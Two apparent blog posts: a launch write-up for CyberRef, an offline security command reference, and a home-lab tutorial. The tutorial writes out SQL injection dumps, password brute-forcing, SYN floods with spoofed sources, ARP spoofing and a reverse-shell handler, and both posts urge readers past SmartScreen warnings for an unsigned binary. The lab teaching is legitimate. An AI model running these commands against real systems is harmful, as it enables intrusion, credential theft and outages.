DEV Community: Elijah Abolaji M.N.C.S

Building CyberRef: A Single-Binary Offline Reference for Cybersecurity Practitioners

Elijah Abolaji M.N.C.S — Sun, 04 Oct 2026 18:58:07 +0000

I built CyberRef to solve a problem I kept seeing in labs and on engagements: nobody remembers the exact syntax of a command under pressure.

You know the command exists. You know roughly what it does. But it's 2 AM during an incident, or you're mid-engagement with a client watching, and the exact flags slip away. So you open twelve tabs of cheatsheets, dig through your notes app, ask Slack — and twenty minutes disappear on something you knew cold last week.

CyberRef is my attempt to fix that. This article is a walkthrough of what it does, the design decisions behind it, and what I learned building it.

What It Is

A single binary you download and run. It opens a local web UI at http://localhost:8787 with a searchable command reference and a set of guided lab scenarios.

No install. No server. No internet required. Everything is embedded — the UI, the datasets, the assets.

Written in Go for the backend, Alpine.js + vanilla CSS for the frontend, all served from one binary via embed.FS.

Why Offline-First

Most cheat-sheet tools are websites. That's fine until you're in an air-gapped lab, an isolated client environment, or a VM with no network egress. In those settings, an online tool is dead on arrival.

Offline-first isn't a limitation — it's a constraint that shaped every decision:

Data is embedded at build time. YAML files are compiled into the binary via go:embed. No external file reads at runtime.

No network calls at startup. The binary doesn't phone home, doesn't check for updates, doesn't do telemetry.

Stateless by default. Nothing is written to disk unless the user explicitly exports something.

Single binary distribution. One .exe on Windows. Copy it to a USB stick, run it on any machine.

This means the tool works in the environments where cyber work actually happens — not just where developers are comfortable.

Why Not React

The obvious frontend choice would have been React with Vite and a build pipeline. I went with vanilla HTML/CSS/JS + Alpine.js instead. Here's why:

go build must be the only build command. A React pipeline adds Node, npm, a bundler, and version drift. Two toolchains for a lookup tool is overkill.

Alpine.js gives 80% of React's ergonomics in one <script> tag. Declarative bindings, reactivity, x-for, x-if — everything a searchable list needs.

No dist/ folder to embed. The HTML, CSS, and JS files are the final artifacts. go:embed picks them up directly.

Zero framework churn. Alpine v3 will keep working in five years. React 18 will be replaced by React 21 by then.

For a searchable, filterable, well-formatted reference tool, this is the right tradeoff. React would have been solving a problem I didn't have.
The Placeholder Substitution Feature

This is the feature that turned CyberRef from a nice-to-have into a tool people actually use.

Commands like nmap -A -p- {TARGET} aren't directly paste-ready. {TARGET} is a placeholder that must be replaced. CyberRef scans each command for {TOKEN} patterns and renders an inline input for each one:
A few things make this work well:

Values persist across sessions. Type your lab IP once, and every command using {TARGET} reuses it.

YAML defaults pre-fill inputs. When a scenario specifies placeholders: { TARGET: "10.10.10.5" }, the input starts populated.

Copy gives you the substituted version. Not the template. The ready-to-paste command.

Values are shared across commands and scenarios. Configure once for an engagement, use everywhere.

Twenty lines of Alpine state plus a localStorage wrapper. Small feature, huge UX impact.
The Scenario Layer

A command reference is table stakes. The real problem in cyber training isn't "what's the command" — it's "what's the sequence, and why."

In v0.3 I added a scenario layer. Each scenario is a guided workflow with:

Narrative overview — what the technique is, why it matters

Prerequisites — what you need before starting

Steps — ordered commands with rationale, expected output, and notes

Defense — hardening, detection, and response guidance

References — MITRE ATT&CK, OWASP, vendor docs

The scenarios are mapped to the Cyber Kill Chain, MITRE ATT&CK, and the CIA triad. This is important — it turns a command list into a curriculum.

Blue-Team Content

In v0.4 I added the first blue-team scenario — Log Analysis & Detection Engineering — plus purple-team notes on every attack scenario.

Purple team notes are the connective tissue. They answer the question: "How do I run this attack and watch it get detected at the same time?"

For example, on the Kerberoasting scenario:

Detection is easiest when 4769 events are forwarded to a SIEM. Filter for RC4 (0x17) ticket encryptions — modern AD should only see AES in normal operations. Any RC4 TGS is worth investigating.

This is different from the Defense panel. The Defense panel lists what to monitor. The Purple Team Notes explain how to actually run the exercise.

Blue-team content also includes ready-to-run SIEM queries for Splunk, Elastic, and Wazuh. Copy, paste, run. No translation needed.

What I Learned

Constraints make the product better. Offline-first, single-binary, no-build-step — these weren't compromises. They were features. Every one of them made the tool faster, simpler, and more usable in the environments where it matters.
Ship small, ship often. The progression was:

v0.2 — command reference with placeholders
v0.3 — scenarios + export
v0.3.1 — favorites & recents
v0.3.2 — filters & command palette
v0.4 — attack lifecycle depth + blue-team content

Each release solved one thing well. Nobody had to wait six months for a "big update."

Users tell you what to build next. The favorites feature came from watching how I used the tool myself. The command palette came from friends who said "We want to jump to a command without leaving the keyboard." Real friction beats planned roadmaps.
Some things don't need to be fancy. embed.FS + net/http + Alpine.js. No ORM, no state management library, no container. Just three external Go dependencies and one vendored JS file. The simplicity is the point.

What's Next

Planned for v0.5:

Windows / Active Directory — native commands and AD-focused scenarios
CLI companion — cyberref search "kerb" from the terminal, reusing the same data
PowerShell export — for scenarios, alongside the current bash export
Light theme — for bright environments

Signed binaries — to remove the Windows SmartScreen warning

**
Longer term:**

```
Community scenario contribution format
```
```
Documentation site
```
```
Multi-platform binaries (macOS, Linux)
```

Try It

Download: https://github.com/toyosee/cyberref-releases/releases

Run: Double-click cyberref.exe. Browser opens. That's the whole setup.

Note on Windows SmartScreen: You'll likely see a "Windows protected your PC" warning. This is normal for unsigned binaries. Click More info → Run anyway. Code signing is on the roadmap.
Feedback Welcome

If you're a practitioner — red, blue, or somewhere in between — I'd love to hear:

What commands or scenarios are missing that you'd use?
What friction points does the tool not solve yet?
What would make it part of your daily workflow?

Open an issue on the releases repo, or find me on LinkedIn. - https://linkedin.com/in/elijahabolaji

CyberRef is written in Go, uses Alpine.js for the frontend, and ships as a single binary for Windows with macOS and Linux builds planned. Source is maintained privately; binaries are released publicly.

How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)

Elijah Abolaji M.N.C.S — Sun, 20 Sep 2026 12:13:17 +0000

Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.

A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).

You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.

My name is Elijah Abolaji, and I developed this guide for educational purposes only.

⚠️ Legal & Ethical Ground Rules

Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.

Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.

Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done "just to learn." Keep this lab air-gapped from anything else.
🖥️ Hardware Requirements

For a smooth-running lab, you'll need a computer with:

4-core processor

16GB RAM

SSD storage

Anything below this still works, but not efficiently.

🛠️ Step 1: Install VirtualBox

Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.

🐉 Step 2: Download & Install Kali Linux (Attacker)

What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.

Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update && sudo apt full-upgrade -y

🐧 Step 3: Download & Install Ubuntu Server (Target)

Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM "Ubuntu-Target" (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.

🔒 Step 4: Building the Isolated Lab Network

This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.

In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20

Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.

Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.

🔍 Step 5: Reconnaissance & Scanning (from Kali)

Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).

Goal: Find out what's alive on the network and which ports/services are open before touching anything.
bash

Host discovery & port scanning

nmap 192.168.100.0/24 # scan the subnet
nmap -sn 192.168.100.0/24 # ping sweep
nmap -p- 192.168.100.20 # all 65535 ports
sudo nmap -sS 192.168.100.20 # SYN stealth scan

Service & OS detection

sudo nmap -A 192.168.100.20 # OS, version, scripts
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports
sudo nmap -O 192.168.100.20 # OS fingerprinting

Nmap Scripting Engine (NSE)

nmap --script vuln 192.168.100.20
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20
nmap -p 80 --script http-enum,http-headers 192.168.100.20

Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.
🌐 Step 6: Web Enumeration

Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.
bash

Directory brute-forcing

gobuster dir -u http://192.168.100.20 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://192.168.100.20 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Automated & manual scanning

nikto -h http://192.168.100.20 # automated vulnerability scanner
curl -i http://192.168.100.20 # view response headers
curl -X POST -d "id=1" http://192.168.100.20/vulnerable.php
burpsuite # launch the Burp Suite proxy (GUI)

Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.

💉 Step 7: SQL Injection with SQLmap

Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.
bash

Basic usage

sqlmap -u "http://192.168.100.20/page.php?id=1" --batch
sqlmap -u "http://192.168.100.20/page.php?id=1" --dbs
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva --tables
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva -T users --dump

Using a captured request (with auth cookies)

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D dwva -T users --dump

Advanced options

sqlmap -r request.txt --batch --level=5 --risk=3 # more thorough
sqlmap -r request.txt --batch --os-shell # attempt OS shell
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass

🔑 Step 8: Password Attacks

Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.
bash

Hydra - online brute force

hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20
hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

John the Ripper - offline cracking

john --wordlist=rockyou.txt hashes.txt
john --format=raw-md5 --wordlist=rockyou.txt hash.txt

Hashcat - GPU cracking

hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 1000 hash.txt rockyou.txt # NTLM

Tool Best for
Hydra Live login attempts against a running service (SSH, web forms)
John the Ripper Cracking a password hash you already have, CPU-based
Hashcat Cracking hashes fast using your GPU
💥 Step 9: Denial of Service (DoS) Testing

Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.

Before you start: hping3 ships with Kali by default. Install anything missing:
bash

sudo apt install -y hping3 slowhttptest apache2-utils

bash

hping3 - flood attacks

sudo hping3 -S --flood -p 80 192.168.100.20
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20
sudo hping3 --udp --flood -p 80 192.168.100.20
sudo hping3 --icmp --flood 192.168.100.20

slowhttptest - application-layer

slowhttptest -B -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow POST
slowhttptest -R -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow Read

Apache Benchmark - load testing

ab -n 10000 -c 500 http://192.168.100.20/

hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds
🕵️ Step 10: Sniffing & Man-in-the-Middle
bash

Packet capture

wireshark # packet capture GUI
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 port 80 -A
sudo tcpdump -i eth0 host 192.168.100.20

ARP spoofing & MITM frameworks

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

sudo ettercap -G # GUI
sudo bettercap -iface eth0

How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.
🧰 Step 11: Metasploit Framework

Goal: Move from "this service looks vulnerable" to an actual working exploit against the Ubuntu target, using a pre-built module.
bash

sudo msfconsole

Inside msfconsole:
bash

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.100.20
set USERNAME testuser
set PASSWORD password123
run

Reverse shell example:
bash

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.10
set LPORT 4444
run

📸 Step 12: Snapshot Management (VBoxManage)

Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.
bash

VBoxManage list vms
VBoxManage snapshot "Kali" take "Snapshot-Name" --description "Description"
VBoxManage snapshot "Kali" list
VBoxManage snapshot "Kali" restore "Snapshot-Name"
VBoxManage snapshot "Kali" delete "Snapshot-Name"

VM power control

VBoxManage startvm "Kali" --type headless
VBoxManage controlvm "Kali" poweroff

⚙️ Part 2: Ubuntu Target Configuration

Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.
Network & Service Configuration
bash

Network configuration

ip a # check interfaces
sudo nano /etc/netplan/01-netcfg.yaml # static IP config
sudo netplan apply # apply changes
sudo netplan try # test, auto-rollback if it fails
ping -c 3 192.168.100.10 # verify Kali is reachable

Service management

sudo systemctl restart apache2
sudo systemctl restart ssh
sudo systemctl restart mariadb

sudo systemctl status apache2
sudo systemctl status ssh
sudo systemctl status mariadb

Check listening ports

ss -tlnp
sudo netstat -tlnp

SSH Server Setup
bash

Install & enable

sudo apt update
sudo apt install -y openssh-server
sudo systemctl enable --now ssh
sudo systemctl status ssh

Create a test account & review config

sudo adduser testuser # for Hydra practice
sudo nano /etc/ssh/sshd_config

Key options to inspect:
text

PermitRootLogin no
PasswordAuthentication yes
Port 22

Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.

MariaDB / MySQL Setup

Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: http://target-ip/DVWA
bash

sudo mysql -u root

Inside MySQL:
sql

CREATE DATABASE dwva;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';
FLUSH PRIVILEGES;

SHOW DATABASES;
USE dwva;
SHOW TABLES;
SELECT * FROM users;
EXIT;

Step 13: Installing DVWA (Vulnerable Web App)

What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.

Install the LAMP stack plus git: bash

sudo apt install -y apache2 \
mariadb-server php php-mysql \
php-gd libapache2-mod-php git

Clone DVWA from GitHub into Apache's web root: bash

cd /var/www/html/
sudo git clone https://github.com/digininja/DVWA.git

Open permissions so DVWA can write its config: bash

sudo chmod -R 777 /var/www/html/DVWA/

Copy the sample config and point it at your database: bash

cd /var/www/html/DVWA/config/
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'

Access it: Open http:///DVWA/setup.php from Kali's browser. Default login is admin / password. Set the security level to "low" while you're first learning each attack.
📊 Step 14: Monitoring & Apache Hardening

Watching the target during an attack:
bash

top / htop # live resource usage
ss -tn state established '( sport = :80 )' | wc -l # count HTTP connections
sudo iftop -i enp0s3 # live network traffic
sudo tail -f /var/log/apache2/access.log # request log
ps aux | grep apache # process monitoring

Hardening Apache:
bash

sudo a2enmod reqtimeout
sudo a2enmod headers
sudo systemctl restart apache2

Sample hardening for /etc/apache2/apache2.conf:
text

Timeout 30
MaxRequestWorkers 150
KeepAliveTimeout 5

Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.
🏁 End Of Lab

Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.

If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:

https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.

This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.
👋 About Me

I am a usual guy that likes technology. If you wish to know more about me, follow me:

LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse

Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.